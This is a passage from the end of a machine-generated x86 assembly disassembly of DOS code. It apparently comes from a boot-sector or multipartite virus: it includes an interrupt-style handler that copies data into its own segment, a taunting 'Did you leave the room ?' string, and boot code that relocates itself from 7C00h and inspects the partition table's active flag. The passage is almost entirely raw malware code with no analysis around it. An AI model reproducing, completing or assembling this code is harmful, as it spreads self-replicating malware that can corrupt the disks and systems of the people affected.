                jc      loc_152                 ; Jump if carry Set
                call    sub_33
                jmp     short loc_152
loc_154:
                cmp     word ptr cs:data_113e,0
                jne     loc_152                 ; Jump if not equal
                call    sub_29
                jc      loc_152                 ; Jump if carry Set
                mov     word ptr cs:[0D9Dh],dx
                pop     dx
                push    dx
                call    sub_25
                mov     dx,705Ah
                jnc     loc_156                 ; Jump if carry=0
loc_155:
                pop     dx
                popf                            ; Pop flags
                stc                             ; Set carry flag
                retf    2                       ; Return far
loc_156:
                push    cx
                push    si
                push    di
                push    es
                xchg    si,dx
                mov     di,data_113e
                push    cs
                pop     es
                stosw                           ; Store ax to es:[di]
                mov     cx,4Bh
                rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
                pop     es
                pop     di
                pop     si
                pop     cx
                jmp     short loc_151
                db      'Did you leave the room ?'
                db      0E9h, 04h

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_34          proc    near
                cli                             ; Disable interrupts
                xor     ax,ax                   ; Zero register
                mov     ss,ax
                mov     sp,7C00h
                mov     si,sp
                push    ax
                pop     es
                push    ax
                pop     ds
                sti                             ; Enable interrupts
                cld                             ; Clear direction
                mov     di,data_13e
                mov     cx,100h
                repne   movsw                   ; Rep zf=0+cx >0 Mov [si] to es:[di]
;*              jmp     far ptr loc_2           ;*
sub_34          endp

                db      0EAh
                dw      61Dh, 0                 ;  Fixup - byte match
                                                ;* No entry point to code
                mov     si,data_14e
                mov     bl,4
                cmp     byte ptr [si],80h
;*              je      loc_157                 ;*Jump if equal
                db       74h, 0Eh               ;  Fixup - byte match
                add     byte ptr [bx+si],0

seg_a           ends



                end     start